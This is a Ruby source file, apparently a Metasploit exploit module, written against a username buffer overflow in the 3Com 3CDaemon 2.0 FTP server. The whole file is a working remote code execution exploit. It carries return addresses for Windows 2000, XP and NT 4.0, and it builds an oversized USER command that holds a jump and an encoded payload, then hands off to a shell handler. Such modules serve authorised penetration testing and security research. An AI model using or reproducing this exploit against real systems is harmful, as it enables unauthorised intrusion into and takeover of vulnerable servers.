97 lines
2.1 KiB
Ruby
97 lines
2.1 KiB
Ruby
require 'msf/core/exploit/ftp'
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module Msf
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class Exploits::Windows::Ftp::ThreeCeeDaemonFTPUserOverflow < Msf::Exploit::Remote
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include Exploit::Remote::Ftp
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def initialize(info = {})
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super(update_info(info,
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'Name' => '3Com 3CDaemon 2.0 FTP Username Overflow',
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'Description' => %q{
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This module exploits a vulnerability in the 3Com 3CDaemon
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FTP service. This package is being distributed from the 3Com
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web site and is recommended in numerous support documents.
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This module uses the USER command to trigger the overflow.
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},
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'Author' => [ 'hdm' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '12810'],
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[ 'OSVDB', '12811'],
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[ 'BID', '12155'],
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[ 'URL', 'ftp://ftp.3com.com/pub/utilbin/win32/3cdv2r10.zip'],
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[ 'MIL', '1'],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 674,
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'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e\x09",
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'StackAdjustment' => -3500,
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'Compat' =>
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{
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'ConnectionType' => "-find"
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}
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},
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'Targets' =>
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[
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[
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'Windows 2000 English', # Tested OK - hdm 11/24/2005
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{
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'Platform' => 'win',
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'Rets' => [ 0x75022ac4 ], # ws2help.dll
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},
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],
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[
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'Windows XP English SP0/SP1',
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{
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'Platform' => 'win',
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'Rets' => [ 0x71aa32ad ], # ws2help.dll
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},
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],
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[
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'Windows NT 4.0 SP4/SP5/SP6',
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{
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'Platform' => 'win',
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'Rets' => [ 0x77681799 ], # ws2help.dll
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},
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],
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],
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'DisclosureDate' => 'Jan 4 2005'))
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end
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def check
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connect
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disconnect
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if (banner =~ /3Com 3CDaemon FTP Server Version 2\.0/)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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print_status("Trying target #{target.name}...")
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buf = Rex::Text.rand_text_english(2048, payload_badchars)
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buf[229, 2] = "\xeb\x06"
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buf[233, 4] = [ target['Rets'][0] ].pack('V')
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buf[237, payload.encoded.length] = payload.encoded
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send_cmd( ['USER', buf] , false )
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disconnect
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handler
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end
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end
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end
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